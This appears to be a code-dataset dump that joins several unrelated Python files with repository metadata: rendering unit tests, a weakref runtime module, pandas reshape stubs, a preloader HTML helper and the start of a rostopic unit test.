b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(core.C_FOREGROUND,b1.fill)
b2 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(core.C_FOREGROUND,b2.fill)
b3 = self.find_with(r,"a",(12.5,2.5))
self.assertEquals(core.C_FOREGROUND,b3.fill)
def test_render_h_sections_fill_alpha(self):
r = self.do_render(3,2,12,4,[],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(0.25,b1.falpha)
b2 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(0.0,b2.falpha)
b3 = self.find_with(r,"a",(12.5,2.5))
self.assertEquals(0.25,b3.falpha)
def test_render_h_sections_z(self):
r = self.do_render(3,2,12,4,[],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(-0.5,b1.z)
b2 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(-0.5,b2.z)
b3 = self.find_with(r,"a",(12.5,2.5))
self.assertEquals(-0.5,b3.z)
def test_render_v_sections_returns_correct_shapes(self):
r = self.do_render(3,2,4,12,[4,8],[])
self.assertEquals(4,len(self.find_type(r,core.Rectangle)))
def test_render_v_sections_coordinates(self):
r = self.do_render(3,2,4,12,[4,8],[])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(b1.a,(3.5,2.5))
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(b2.a,(3.5,7.5))
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(b3.b,(8.5,15.5))
def test_render_v_sections_stroke_colour(self):
r = self.do_render(3,2,4,12,[4,8],[])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(b1.stroke,None)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(b2.stroke,None)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(b3.stroke,None)
def test_render_v_sections_fill_colour(self):
r = self.do_render(3,2,4,12,[4,8],[])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(b1.fill,core.C_FOREGROUND)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(b2.fill,core.C_FOREGROUND)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(b3.fill,core.C_FOREGROUND)
def test_render_v_sections_fill_alpha(self):
r = self.do_render(3,2,4,12,[4,8],[])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(b1.falpha,0.25)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(b2.falpha,0.0)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(b3.falpha,0.25)
def test_render_v_sections_z(self):
r = self.do_render(3,2,4,12,[4,8],[])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(-0.5,b1.z)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(-0.5,b2.z)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(-0.5,b3.z)
def test_render_hv_sections_returns_correct_shapes(self):
r = self.do_render(3,2,12,13,[4,8],[4,8])
self.assertEquals(10,len(self.find_type(r,core.Rectangle)))
def test_render_hv_sections_coordinates(self):
r = self.do_render(3,2,12,13,[4,8],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(b1.a,(3.5,2.5))
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(b2.a,(3.5,7.5))
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(b3.b,(8.5,16.5))
b4 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(b4.a,(8.5,2.5))
b5 = self.find_with(r,"b",(12.5,11.5))
self.assertEquals(b5.a,(8.5,7.5))
b6 = self.find_with(r,"a",(8.5,11.5))
self.assertEquals(b6.b,(12.5,16.5))
b7 = self.find_with(r,"b",(16.5,7.5))
self.assertEquals(b7.a,(12.5,2.5))
b8 = self.find_with(r,"b",(16.5,11.5))
self.assertEquals(b8.a,(12.5,7.5))
b9 = self.find_with(r,"a",(12.5,11.5))
self.assertEquals(b9.b,(16.5,16.5))
def test_render_hv_sections_stroke_colour(self):
r = self.do_render(3,2,12,13,[4,8],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(None,b1.stroke)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(None,b2.stroke)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(None,b3.stroke)
b4 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(None,b4.stroke)
b5 = self.find_with(r,"b",(12.5,11.5))
self.assertEquals(None,b5.stroke)
b6 = self.find_with(r,"a",(8.5,11.5))
self.assertEquals(None,b6.stroke)
b7 = self.find_with(r,"b",(16.5,7.5))
self.assertEquals(None,b7.stroke)
b8 = self.find_with(r,"b",(16.5,11.5))
self.assertEquals(None,b8.stroke)
b9 = self.find_with(r,"a",(12.5,11.5))
self.assertEquals(None,b9.stroke)
def test_render_hv_sections_fill_colour(self):
r = self.do_render(3,2,12,13,[4,8],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(core.C_FOREGROUND,b1.fill)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(core.C_FOREGROUND,b2.fill)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(core.C_FOREGROUND,b3.fill)
b4 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(core.C_FOREGROUND,b4.fill)
b5 = self.find_with(r,"b",(12.5,11.5))
self.assertEquals(core.C_FOREGROUND,b5.fill)
b6 = self.find_with(r,"a",(8.5,11.5))
self.assertEquals(core.C_FOREGROUND,b6.fill)
b7 = self.find_with(r,"b",(16.5,7.5))
self.assertEquals(core.C_FOREGROUND,b7.fill)
b8 = self.find_with(r,"b",(16.5,11.5))
self.assertEquals(core.C_FOREGROUND,b8.fill)
b9 = self.find_with(r,"a",(12.5,11.5))
self.assertEquals(core.C_FOREGROUND,b9.fill)
def test_render_hv_sections_fill_alpha(self):
r = self.do_render(3,2,12,13,[4,8],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(0.25,b1.falpha)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(0.125,b2.falpha)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(0.25,b3.falpha)
b4 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(0.125,b4.falpha)
b5 = self.find_with(r,"b",(12.5,11.5))
self.assertEquals(0.0,b5.falpha)
b6 = self.find_with(r,"a",(8.5,11.5))
self.assertEquals(0.125,b6.falpha)
b7 = self.find_with(r,"b",(16.5,7.5))
self.assertEquals(0.25,b7.falpha)
b8 = self.find_with(r,"b",(16.5,11.5))
self.assertEquals(0.125,b8.falpha)
b9 = self.find_with(r,"a",(12.5,11.5))
self.assertEquals(0.25,b9.falpha)
def test_render_hv_sections_z(self):
r = self.do_render(3,2,12,13,[4,8],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(-0.5,b1.z)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(-0.5,b2.z)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(-0.5,b3.z)
b4 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(-0.5,b4.z)
b5 = self.find_with(r,"b",(12.5,11.5))
self.assertEquals(-0.5,b5.z)
b6 = self.find_with(r,"a",(8.5,11.5))
self.assertEquals(-0.5,b6.z)
b7 = self.find_with(r,"b",(16.5,7.5))
self.assertEquals(-0.5,b7.z)
b8 = self.find_with(r,"b",(16.5,11.5))
self.assertEquals(-0.5,b8.z)
b9 = self.find_with(r,"a",(12.5,11.5))
self.assertEquals(-0.5,b9.z)
"""
if __name__ == "__main__":
unittest.main()
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0
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bd1d05397948d844728d23f3ad671234db2604da
| 10,667
|
py
|
Python
|
library/_weakref.py
|
creativemindplus/skybison
|
d1740e08d8de85a0a56b650675717da67de171a0
|
[
"CNRI-Python-GPL-Compatible"
] | 278
|
2021-08-31T00:46:51.000Z
|
2022-02-13T19:43:28.000Z
|
library/_weakref.py
|
creativemindplus/skybison
|
d1740e08d8de85a0a56b650675717da67de171a0
|
[
"CNRI-Python-GPL-Compatible"
] | 9
|
2021-11-05T22:28:43.000Z
|
2021-11-23T08:39:04.000Z
|
library/_weakref.py
|
tekknolagi/skybison
|
bea8fc2af0a70e7203b4c19f36c14a745512a335
|
[
"CNRI-Python-GPL-Compatible"
] | 12
|
2021-08-31T07:49:54.000Z
|
2021-10-08T01:09:01.000Z
|
#!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates. (http://www.facebook.com)
"""Weak-reference support module."""
from builtins import _index
from _builtins import (
_builtin,
_property,
_type,
_unimplemented,
_weakref_callback,
_weakref_check,
_weakref_guard,
_weakref_referent,
)
__all__ = ["CallableProxyType", "ProxyType", "ReferenceType", "ref", "proxy"]
def _proxy_check(object):
_builtin()
def _proxy_referent(proxy_obj):
referent = object.__getattribute__(proxy_obj, "ref_obj")()
if referent is None:
raise ReferenceError("weakly-referenced object no longer exists")
return referent
def _proxy_unwrap(object):
return _proxy_referent(object) if _proxy_check(object) else object
def _remove_dead_weakref(data, key):
data.pop(key, None)
def _weakref_hash(self):
_builtin()
def _weakref_set_hash(self, hash):
_builtin()
def getweakrefs(object):
_unimplemented()
def getweakrefcount(object):
_unimplemented()
def proxy(object, callback=None):
reference = ref(object, callback)
if callable(object):
return weakcallableproxy(reference)
return weakproxy(reference)
class weakref(bootstrap=True):
def __call__(self):
_builtin()
__callback__ = _property(_weakref_callback)
def __eq__(self, other):
_weakref_guard(self)
if not _weakref_check(other):
return NotImplemented
self_referent = _weakref_referent(self)
other_referent = _weakref_referent(other)
if self_referent is None or other_referent is None:
return self is other
return self_referent == other_referent
def __ge__(self, other):
_weakref_guard(self)
return NotImplemented
def __gt__(self, other):
_weakref_guard(self)
return NotImplemented
def __le__(self, other):
_weakref_guard(self)
return NotImplemented
def __lt__(self, other):
_weakref_guard(self)
return NotImplemented
def __ne__(self, other):
_weakref_guard(self)
if not _weakref_check(other):
return NotImplemented
self_referent = _weakref_referent(self)
other_referent = _weakref_referent(other)
if self_referent is None or other_referent is None:
return self is not other
return self_referent != other_referent
@staticmethod
def __new__(cls, referent, callback=None):
_builtin()
def __init__(self, referent, callback=None):
return None
def __hash__(self):
result = _weakref_hash(self)
if result is not None:
return result
obj = _weakref_referent(self)
if obj is None:
raise TypeError("weak object has gone away")
result = hash(obj)
_weakref_set_hash(self, result)
return result
class weakcallableproxy(bootstrap=True):
__hash__ = None
def __init__(self, ref_obj):
object.__setattr__(self, "ref_obj", ref_obj)
def __abs__(self):
return abs(_proxy_unwrap(self))
def __add__(self, other):
return _proxy_unwrap(self) + _proxy_unwrap(other)
def __and__(self, other):
return _proxy_unwrap(self) & _proxy_unwrap(other)
def __bytes__(self):
return bytes(_proxy_unwrap(self))
@property
def __call__(self):
return _proxy_unwrap(self)
def __divmod__(self, other):
return divmod(_proxy_unwrap(self), _proxy_unwrap(other))
def __float__(self):
return float(_proxy_unwrap(self))
def __getattr__(self, other):
return getattr(_proxy_unwrap(self), _proxy_unwrap(other))
def __getitem__(self, other):
return _proxy_unwrap(self)[_proxy_unwrap(other)]
def __iadd__(self, other):
referent = _proxy_unwrap(self)
referent += _proxy_unwrap(other)
def __iand__(self, other):
referent = _proxy_unwrap(self)
referent &= _proxy_unwrap(other)
def __ifloor_div__(self, other):
referent = _proxy_unwrap(self)
referent /= _proxy_unwrap(other)
def __ilshift__(self, other):
referent = _proxy_unwrap(self)
referent <<= _proxy_unwrap(other)
def __imod__(self, other):
referent = _proxy_unwrap(self)
referent %= _proxy_unwrap(other)
def __imul__(self, other):
referent = _proxy_unwrap(self)
referent *= _proxy_unwrap(other)
def __index__(self):
return _index(_proxy_unwrap(self))
def __int__(self):
return int(_proxy_unwrap(self))
def __invert__(self):
return ~_proxy_unwrap(self)
def __ior__(self, other):
referent = _proxy_unwrap(self)
referent |= _proxy_unwrap(other)
def __ipow__(self, other):
referent = _proxy_unwrap(self)
referent **= _proxy_unwrap(other)
def __irshift__(self, other):
referent = _proxy_unwrap(self)
referent >>= _proxy_unwrap(other)
def __isub__(self, other):
referent = _proxy_unwrap(self)
referent -= _proxy_unwrap(other)
def __itrue_div__(self, other):
referent = _proxy_unwrap(self)
referent /= _proxy_unwrap(other)
def __ixor__(self, other):
referent = _proxy_unwrap(self)
referent ^= _proxy_unwrap(other)
def __lshift__(self, other):
return _proxy_unwrap(self) << _proxy_unwrap(other)
def __mod__(self, other):
return _proxy_unwrap(self) % _proxy_unwrap(other)
def __mul__(self, other):
return _proxy_unwrap(self) * _proxy_unwrap(other)
def __neg__(self):
return -_proxy_unwrap(self)
def __or__(self, other):
return _proxy_unwrap(self) | _proxy_unwrap(other)
def __pos__(self):
return +_proxy_unwrap(self)
def __pow__(self, other, modulo=None):
return pow(
_proxy_unwrap(self),
_proxy_unwrap(other),
None if modulo is None else _proxy_unwrap(modulo),
)
def __rshift__(self, other):
return _proxy_unwrap(self) >> _proxy_unwrap(other)
def __setattr__(self, name, value):
if not _proxy_check(self):
raise TypeError(
"'__setattr__' for 'weakproxy' objects doesn't apply to a "
f"'{_type(self).__name__}' object"
)
return setattr(_proxy_unwrap(self), name, value)
def __str__(self):
return str(_proxy_unwrap(self))
def __sub__(self, other):
return _proxy_unwrap(self) - _proxy_unwrap(other)
def __truediv__(self, other):
return _proxy_unwrap(self) / _proxy_unwrap(other)
def __xor__(self, other):
return _proxy_unwrap(self) ^ _proxy_unwrap(other)
class weakproxy(bootstrap=True):
__hash__ = None
def __init__(self, ref_obj):
object.__setattr__(self, "ref_obj", ref_obj)
def __abs__(self):
return abs(_proxy_unwrap(self))
def __add__(self, other):
return _proxy_unwrap(self) + _proxy_unwrap(other)
def __and__(self, other):
return _proxy_unwrap(self) & _proxy_unwrap(other)
def __bytes__(self):
return bytes(_proxy_unwrap(self))
def __divmod__(self, other):
return divmod(_proxy_unwrap(self), _proxy_unwrap(other))
def __float__(self):
return float(_proxy_unwrap(self))
def __getattr__(self, other):
return getattr(_proxy_unwrap(self), _proxy_unwrap(other))
def __getitem__(self, other):
return _proxy_unwrap(self)[_proxy_unwrap(other)]
def __iadd__(self, other):
referent = _proxy_unwrap(self)
referent += _proxy_unwrap(other)
def __iand__(self, other):
referent = _proxy_unwrap(self)
referent &= _proxy_unwrap(other)
def __ifloor_div__(self, other):
referent = _proxy_unwrap(self)
referent /= _proxy_unwrap(other)
def __ilshift__(self, other):
referent = _proxy_unwrap(self)
referent <<= _proxy_unwrap(other)
def __imod__(self, other):
referent = _proxy_unwrap(self)
referent %= _proxy_unwrap(other)
def __imul__(self, other):
referent = _proxy_unwrap(self)
referent *= _proxy_unwrap(other)
def __index__(self):
return _index(_proxy_unwrap(self))
def __int__(self):
return int(_proxy_unwrap(self))
def __invert__(self):
return ~_proxy_unwrap(self)
def __ior__(self, other):
referent = _proxy_unwrap(self)
referent |= _proxy_unwrap(other)
def __ipow__(self, other):
referent = _proxy_unwrap(self)
referent **= _proxy_unwrap(other)
def __irshift__(self, other):
referent = _proxy_unwrap(self)
referent >>= _proxy_unwrap(other)
def __isub__(self, other):
referent = _proxy_unwrap(self)
referent -= _proxy_unwrap(other)
def __itrue_div__(self, other):
referent = _proxy_unwrap(self)
referent /= _proxy_unwrap(other)
def __ixor__(self, other):
referent = _proxy_unwrap(self)
referent ^= _proxy_unwrap(other)
def __lshift__(self, other):
return _proxy_unwrap(self) << _proxy_unwrap(other)
def __mod__(self, other):
return _proxy_unwrap(self) % _proxy_unwrap(other)
def __mul__(self, other):
return _proxy_unwrap(self) * _proxy_unwrap(other)
def __neg__(self):
return -_proxy_unwrap(self)
def __or__(self, other):
return _proxy_unwrap(self) | _proxy_unwrap(other)
def __pos__(self):
return +_proxy_unwrap(self)
def __pow__(self, other, modulo=None):
return pow(
_proxy_unwrap(self),
_proxy_unwrap(other),
None if modulo is None else _proxy_unwrap(modulo),
)
def __rshift__(self, other):
return _proxy_unwrap(self) >> _proxy_unwrap(other)
def __setattr__(self, name, value):
if not _proxy_check(self):
raise TypeError(
"'__setattr__' for 'weakproxy' objects doesn't apply to a "
f"'{_type(self).__name__}' object"
)
return setattr(_proxy_unwrap(self), name, value)
def __str__(self):
return str(_proxy_unwrap(self))
def __sub__(self, other):
return _proxy_unwrap(self) - _proxy_unwrap(other)
def __truediv__(self, other):
return _proxy_unwrap(self) / _proxy_unwrap(other)
def __xor__(self, other):
return _proxy_unwrap(self) ^ _proxy_unwrap(other)
CallableProxyType = weakcallableproxy
ProxyType = weakproxy
ReferenceType = weakref
ref = weakref
| 26.338272
| 77
| 0.650417
| 1,211
| 10,667
| 5.114781
| 0.111478
| 0.227317
| 0.176784
| 0.147239
| 0.788666
| 0.788666
| 0.775428
| 0.775428
| 0.74443
| 0.74443
| 0
| 0.000126
| 0.254523
| 10,667
| 404
| 78
| 26.403465
| 0.778798
| 0.011906
| 0
| 0.765734
| 0
| 0
| 0.029431
| 0.004557
| 0
| 0
| 0
| 0
| 0
| 1
| 0.328671
| false
| 0
| 0.006993
| 0.171329
| 0.587413
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 10
|
1f994fa537a696fdd47e2c0670de36a29275d097
| 5,475
|
py
|
Python
|
resources/dot_PyCharm/system/python_stubs/-762174762/pandas/_libs/reshape.py
|
basepipe/developer_onboarding
|
05b6a776f8974c89517868131b201f11c6c2a5ad
|
[
"MIT"
] | 1
|
2020-04-20T02:27:20.000Z
|
2020-04-20T02:27:20.000Z
|
resources/dot_PyCharm/system/python_stubs/cache/08c8f4804c515fdaa26e2e57449872b893ff76da872aae2e2c07135177d29744/pandas/_libs/reshape.py
|
basepipe/developer_onboarding
|
05b6a776f8974c89517868131b201f11c6c2a5ad
|
[
"MIT"
] | null | null | null |
resources/dot_PyCharm/system/python_stubs/cache/08c8f4804c515fdaa26e2e57449872b893ff76da872aae2e2c07135177d29744/pandas/_libs/reshape.py
|
basepipe/developer_onboarding
|
05b6a776f8974c89517868131b201f11c6c2a5ad
|
[
"MIT"
] | null | null | null |
# encoding: utf-8
# module pandas._libs.reshape
# from C:\Python27\lib\site-packages\pandas\_libs\reshape.pyd
# by generator 1.147
# no doc
# imports
import __builtin__ as __builtins__ # <module '__builtin__' (built-in)>
# functions
def unstack(*args, **kwargs): # real signature unknown
"""
transform long sorted_values to wide new_values
Parameters
----------
values : typed ndarray
mask : boolean ndarray
stride : int
length : int
width : int
new_values : typed ndarray
result array
new_mask : boolean ndarray
result mask
"""
pass
def unstack_float32(*args, **kwargs): # real signature unknown
"""
transform long sorted_values to wide new_values
Parameters
----------
values : typed ndarray
mask : boolean ndarray
stride : int
length : int
width : int
new_values : typed ndarray
result array
new_mask : boolean ndarray
result mask
"""
pass
def unstack_float64(*args, **kwargs): # real signature unknown
"""
transform long sorted_values to wide new_values
Parameters
----------
values : typed ndarray
mask : boolean ndarray
stride : int
length : int
width : int
new_values : typed ndarray
result array
new_mask : boolean ndarray
result mask
"""
pass
def unstack_int16(*args, **kwargs): # real signature unknown
"""
transform long sorted_values to wide new_values
Parameters
----------
values : typed ndarray
mask : boolean ndarray
stride : int
length : int
width : int
new_values : typed ndarray
result array
new_mask : boolean ndarray
result mask
"""
pass
def unstack_int32(*args, **kwargs): # real signature unknown
"""
transform long sorted_values to wide new_values
Parameters
----------
values : typed ndarray
mask : boolean ndarray
stride : int
length : int
width : int
new_values : typed ndarray
result array
new_mask : boolean ndarray
result mask
"""
pass
def unstack_int64(*args, **kwargs): # real signature unknown
"""
transform long sorted_values to wide new_values
Parameters
----------
values : typed ndarray
mask : boolean ndarray
stride : int
length : int
width : int
new_values : typed ndarray
result array
new_mask : boolean ndarray
result mask
"""
pass
def unstack_int8(*args, **kwargs): # real signature unknown
"""
transform long sorted_values to wide new_values
Parameters
----------
values : typed ndarray
mask : boolean ndarray
stride : int
length : int
width : int
new_values : typed ndarray
result array
new_mask : boolean ndarray
result mask
"""
pass
def unstack_object(*args, **kwargs): # real signature unknown
"""
transform long sorted_values to wide new_values
Parameters
----------
values : typed ndarray
mask : boolean ndarray
stride : int
length : int
width : int
new_values : typed ndarray
result array
new_mask : boolean ndarray
result mask
"""
pass
def unstack_uint16(*args, **kwargs): # real signature unknown
"""
transform long sorted_values to wide new_values
Parameters
----------
values : typed ndarray
mask : boolean ndarray
stride : int
length : int
width : int
new_values : typed ndarray
result array
new_mask : boolean ndarray
result mask
"""
pass
def unstack_uint32(*args, **kwargs): # real signature unknown
"""
transform long sorted_values to wide new_values
Parameters
----------
values : typed ndarray
mask : boolean ndarray
stride : int
length : int
width : int
new_values : typed ndarray
result array
new_mask : boolean ndarray
result mask
"""
pass
def unstack_uint64(*args, **kwargs): # real signature unknown
"""
transform long sorted_values to wide new_values
Parameters
----------
values : typed ndarray
mask : boolean ndarray
stride : int
length : int
width : int
new_values : typed ndarray
result array
new_mask : boolean ndarray
result mask
"""
pass
def unstack_uint8(*args, **kwargs): # real signature unknown
"""
transform long sorted_values to wide new_values
Parameters
----------
values : typed ndarray
mask : boolean ndarray
stride : int
length : int
width : int
new_values : typed ndarray
result array
new_mask : boolean ndarray
result mask
"""
pass
def __pyx_unpickle_Enum(*args, **kwargs): # real signature unknown
pass
# no classes
# variables with complex values
__test__ = {}
| 23.199153
| 70
| 0.552329
| 553
| 5,475
| 5.321881
| 0.132007
| 0.073395
| 0.146789
| 0.101597
| 0.900782
| 0.890588
| 0.890588
| 0.890588
| 0.890588
| 0.890588
| 0
| 0.007272
| 0.372055
| 5,475
| 235
| 71
| 23.297872
| 0.848749
| 0.722192
| 0
| 0.464286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.464286
| false
| 0.464286
| 0.035714
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
1fa92ecacef1422144766fda0613d1087ee9adb5
| 4,527
|
py
|
Python
|
static/0.6.0.322/js/transcrypt/phanterpwa.frontend.preloaders.py
|
PhanterJR/www_sme
|
bfe3cd430a33c05e7cd4ceadfd6b90ce8f45be90
|
[
"MIT"
] | 2
|
2019-06-06T10:37:01.000Z
|
2021-10-16T03:36:28.000Z
|
static/0.6.0.322/js/transcrypt/phanterpwa.frontend.preloaders.py
|
PhanterJR/www_sme
|
bfe3cd430a33c05e7cd4ceadfd6b90ce8f45be90
|
[
"MIT"
] | null | null | null |
static/0.6.0.322/js/transcrypt/phanterpwa.frontend.preloaders.py
|
PhanterJR/www_sme
|
bfe3cd430a33c05e7cd4ceadfd6b90ce8f45be90
|
[
"MIT"
] | null | null | null |
from phanterpwa.frontend import helpers
DIV = helpers.XmlConstructor.tagger("div", False)
android = DIV(
DIV(
DIV(
DIV(
DIV(
DIV(
DIV(
_class='phanterpwa_circle'
),
_class='phanterpwa_circle_clipper left'
),
DIV(
DIV(
_class='phanterpwa_circle'
),
_class='phanterpwa_gap-patch'
),
DIV(
DIV(
_class='phanterpwa_circle'
),
_class='phanterpwa_circle_clipper right'
),
_class='spinner-layer spinner-one'
),
DIV(
DIV(
DIV(
_class='phanterpwa_circle'
),
_class='phanterpwa_circle_clipper left'
),
DIV(
DIV(
_class='phanterpwa_circle'
),
_class='phanterpwa_gap-patch'
),
DIV(
DIV(
_class='phanterpwa_circle'
),
_class='phanterpwa_circle_clipper right'
),
_class='spinner-layer spinner-two'
),
DIV(
DIV(
DIV(
_class='phanterpwa_circle'
),
_class='phanterpwa_circle_clipper left'
),
DIV(
DIV(
_class='phanterpwa_circle'
),
_class='phanterpwa_gap-patch'
),
DIV(
DIV(
_class='phanterpwa_circle'
),
_class='phanterpwa_circle_clipper right'
),
_class='spinner-layer spinner-three'
),
DIV(
DIV(
DIV(
_class='phanterpwa_circle'
),
_class='phanterpwa_circle_clipper left'
),
DIV(
DIV(
_class='phanterpwa_circle'
),
_class='phanterpwa_gap-patch'
),
DIV(
DIV(
_class='phanterpwa_circle'
),
_class='phanterpwa_circle_clipper right'
),
_class='spinner-layer spinner-four'
),
_class='phanterpwa_android'
),
_class='preloader-wrapper enabled'
),
_class="preload-wrapper"),
_class="phanterpwa-components-preloaders-android"
).jquery()
run_points = DIV(
DIV(
DIV(
DIV(
DIV(
DIV(_class="phanterpwa_run_points_one"),
_class="phanterpwa_run_points phanterpwa_run_points_one_content"),
DIV(
DIV(_class="phanterpwa_run_points_two"),
_class="phanterpwa_run_points phanterpwa_run_points_two_content"),
DIV(
DIV(_class="phanterpwa_run_points_three"),
_class="phanterpwa_run_points phanterpwa_run_points_three_content"),
DIV(
DIV(_class="phanterpwa_run_points_four"),
_class="phanterpwa_run_points phanterpwa_run_points_four_content"),
DIV(
DIV(_class="phanterpwa_run_points_five"),
_class="phanterpwa_run_points phanterpwa_run_points_five_content"),
_class="pwa_run_points_container"
),
_class='preloader-wrapper enabled'
),
_class="phanterpwa-preloader-wrapper"),
_class="phanterpwa-components-preloaders-run_points"
)
| 35.645669
| 88
| 0.381047
| 277
| 4,527
| 5.761733
| 0.129964
| 0.357143
| 0.263158
| 0.223684
| 0.846491
| 0.752506
| 0.744987
| 0.517544
| 0.491228
| 0.491228
| 0
| 0
| 0.550254
| 4,527
| 127
| 89
| 35.645669
| 0.78389
| 0
| 0
| 0.788618
| 0
| 0
| 0.278269
| 0.162986
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.00813
| 0
| 0.00813
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
1fcb6bc2749fbc2b52326b28c19987ccc887a057
| 20,536
|
py
|
Python
|
thirdparty/basalt/thirdparty/ros/ros_comm/test/test_rostopic/test/test_rostopic_unit.py
|
Bookiebookie/LieSpline
|
b617bdf6b37164562387d0257145e9230d28e2e7
|
[
"BSD-3-Clause"
] | 2
|
2021-05-22T09:46:00.000Z
|
2022-03-25T09:56:22.000Z
|
thirdparty/basalt/thirdparty/ros/ros_comm/test/test_rostopic/test/test_rostopic_unit.py
|
Bookiebookie/LieSpline
|
b617bdf6b37164562387d0257145e9230d28e2e7
|
[
"BSD-3-Clause"
] | null | null | null |
thirdparty/basalt/thirdparty/ros/ros_comm/test/test_rostopic/test/test_rostopic_unit.py
|
Bookiebookie/LieSpline
|
b617bdf6b37164562387d0257145e9230d28e2e7
|
[
"BSD-3-Clause"
] | null | null | null |
#!/usr/bin/env python
# Software License Agreement (BSD License)
#
# Copyright (c) 2009, Willow Garage, Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials provided
# with the distribution.
# * Neither the name of Willow Garage, Inc. nor the names of its
# contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
import unittest
import yaml
class TestRostopicUnit(unittest.TestCase):
def test_sub_str_plot_fields(self):
from rostopic import _str_plot_fields
from std_msgs.msg import String
from test_rostopic.msg import Arrays, Embed, Simple, TVals
from genpy import Time, Duration
from rostopic import create_field_filter
# str plotting requires rospy time, we fix time to a set time
import rospy.rostime
rospy.rostime.set_rostime_initialized(True)
rospy.rostime._set_rostime(Time(0, 1234))
Time(0, 5678)
# prepare test values
simple_v = Simple(1, -2, 3, -4, 'a', 7, 8, 9, 'bar')
simple_d = 'time,field.b,field.int16,field.int32,field.int64,field.c,field.uint16,field.uint32,field.uint64,field.str'
simple_nostr = 'time,field.b,field.int16,field.int32,field.int64,field.c,field.uint16,field.uint32,field.uint64'
arrays_v = Arrays([-1], chr(2)+chr(3), [3, 4, 5], [6, 7, 8], ['a1', 'b2', 'b3'], [Time(123, 456), Time(78, 90)])
